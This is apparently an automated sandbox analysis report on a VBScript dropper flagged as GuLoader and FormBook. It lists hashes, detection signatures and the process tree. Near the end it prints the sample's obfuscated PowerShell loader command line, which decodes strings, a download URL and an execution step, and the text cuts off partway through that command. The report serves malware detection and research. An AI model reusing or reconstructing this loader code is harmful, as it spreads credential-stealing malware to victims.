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Windows
Analysis Report
birectangular.vbs
Overview
General Information
| Sample name: | birectangular.vbs |
| Analysis ID: | 1466597 |
| MD5: | be6f44242b4afd0e61d775b9ef7946b0 |
| SHA1: | 80ce71becc7fb1203a43708d7e3fdcad778bb79e |
| SHA256: | 8175ce9634dcd8deb29e81ae2f070d4b2f43ae2b4d154946a251ac93f1e87b59 |
| Tags: | vbs |
| Infos: |   |
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Detection
FormBook, GuLoader
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Detected FormBook malware
Found malware configuration
Malicious sample detected (through community Yara rule)
Sigma detected: Steal Google chrome login data
Snort IDS alert for network traffic
System process connects to network (likely due to code injection or exploit)
VBScript performs obfuscated calls to suspicious functions
Yara detected FormBook
Yara detected GuLoader
Yara detected Powershell download and execute
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Found suspicious powershell code related to unpacking or dynamic code loading
Injects a PE file into a foreign processes
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Modifies the prolog of user mode functions (user mode inline hooks)
Obfuscated command line found
Performs DNS queries to domains with low reputation
Potential malicious VBS script found (suspicious strings)
Queues an APC in another process (thread injection)
Sample uses process hollowing technique
Searches for Windows Mail specific files
Sigma detected: WScript or CScript Dropper
Sigma detected: Wab/Wabmig Unusual Parent Or Child Processes
Suspicious execution chain found
Suspicious powershell command line found
Switches to a custom stack to bypass stack traces
Tries to detect virtualization through RDTSC time measurements
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Very long command line found
Writes or reads registry keys via WMI
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Potential Browser Data Stealing
Sigma detected: Use Short Name Path in Command Line
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64
wscript.exe (PID: 4040 cmdline: C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\birec tangular.v bs" MD5: A47CBE969EA935BDD3AB568BB126BC80) 
WmiPrvSE.exe (PID: 5680 cmdline: C:\Windows \system32\ wbem\wmipr vse.exe -s ecured -Em bedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51) 
powershell.exe (PID: 7428 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" "cls;write 'Fantasib illedernes Ansttelse somraadets Grammates Methodizi ng Skumred es Synosto se Macroto ne Guls Sc yphiform24 5 Nonconse rvation Mi rks171 Bon aire Vejrs kifte Teks tspalte Fo rsorgshjem mets Rhyto n Skoenne Fullbacks Solbadets Afsnitsind rykningern e Bordeaux vine tynge nde Sporin gsstatione ns afnazif icering Fa ntasibille dernes Ans ttelsesomr aadets Gra mmates Met hodizing S kumredes S ynostose M acrotone G uls Scyphi form245 No nconservat ion Mirks1 71 Bonaire Vejrskift e Tekstspa lte Forsor gshjemmets Rhyton Sk oenne Full backs Solb adets Afsn itsindrykn ingerne Bo rdeauxvine tyngende Sporingsst ationens a fnazificer ing';If ($ {host}.Cur rentCultur e) {$Fortr d++;}Funct ion Jimmis ($Poria){$ Jumpily=$P oria.Lengt h-$Fortrd; $Anteoperc le='SUBsTR I';$Anteop ercle+='ng ';For( $Ra cialisatio n=4;$Racia lisation - lt $Jumpil y;$Raciali sation+=5) {$Fantasib illedernes +=$Poria.$ Anteopercl e.Invoke( $Racialisa tion, $For trd);}$Fan tasibilled ernes;}fun ction Fluo rideringen ($Uncouthl y){ . ($Flancon nade) ($Un couthly);} $Hoosegow= Jimmis 'Un .eMSklvoFl ipz ,deiR, prlSpa lk, nnaAlle/Or ,i5tilb. , dn0Bran Sa m,(UndeWCr ediJo.nnIm prdUdsno U dlw HorsBe sl aldNBem yTPrim Vas .1Neig0 Ke m.Irri0,ld e;Bl,t .on aWRe,aiPaa hn .on6 Tr e4Wagg; ar m Bru.xK r s6Nost4Edu c; Wo. Cou nrklorvB.o t:Lysa1reg n2Fald1Xma s. Ans0 S. d)Elek Kro oGUstiemuh acRestk ac oo S.j/cam e2 P,e0Pa. r1Sk m0Ski l0H al1Rad r0Foot1Vom i CharFTov aiStikrLev eeOverf Fr doGoloxBrs s/unde1Maj o2 enn1Okk e.Prdi0S,n n ';$Neuro canal151=J immis 'Uly dUEmpesSlo weIlsarQ,n d- .laA Pr igInteeGle anFishtski n ';$Skumr edes=Jimmi s 'BrochSp ,ktbookt . onpfac,sSt ri:Male/ A fa/ Carl D isaRafrrBi ocrSvelyB, cof Undr A ngaPre,n U ngkBree.St ancMaybpPa l.a ,an/He reN.bekeU, orgDiamuAn oms M t8Co ns5Eoga.S. udcIdylshe ,lv Gra '; $Minty=Jim mis 'Mero> Jamr ';$Fl anconnade= Jimmis ' M .liSidee S slx.ype '; $Lansquene t='Guls';$ Andejagter ne = Jimmi s 'VelkeSl aucFl.nhNo ntohydr L. m%Aadsapa. ap SubpFor sdCa iaviv .tMiddaP,l a%Semi\Sik kC SidoE,t anRskncToo goRdbyrSpa ddPersaCo elOhmm6 yd .MounU che dHydasForb Am m&Gall & St. Sing eMoancT,re h Truo Ade Forbt Hyp ';Fluorid eringen (J immis 'Pie p$.lyhgTre blAc roAnt ib Arbakum eltest: F. lMW.ttykry so ,hapres .lObfuaFum isHoustSwa niLaarcKon s=E,te(Hav fcLsevm Li td Sv. ok e/R ascMon c ,mmi$Da, eA Ke niri ,dHoddeber j entaAx igParatCod aeIdenrUnp en kiheU.a d)Symp '); Fluorideri ngen (Jimm is 'Bdep$M irkgWea.lP reco Sexb UheaEighlV gel:DenoM UnseGodit, ambh ageos k,ldRe pi P.ezOminiR ealn A,vgF rdi=anet$B lomSBombkS lanu Re.mT akirNa oeD eted rateF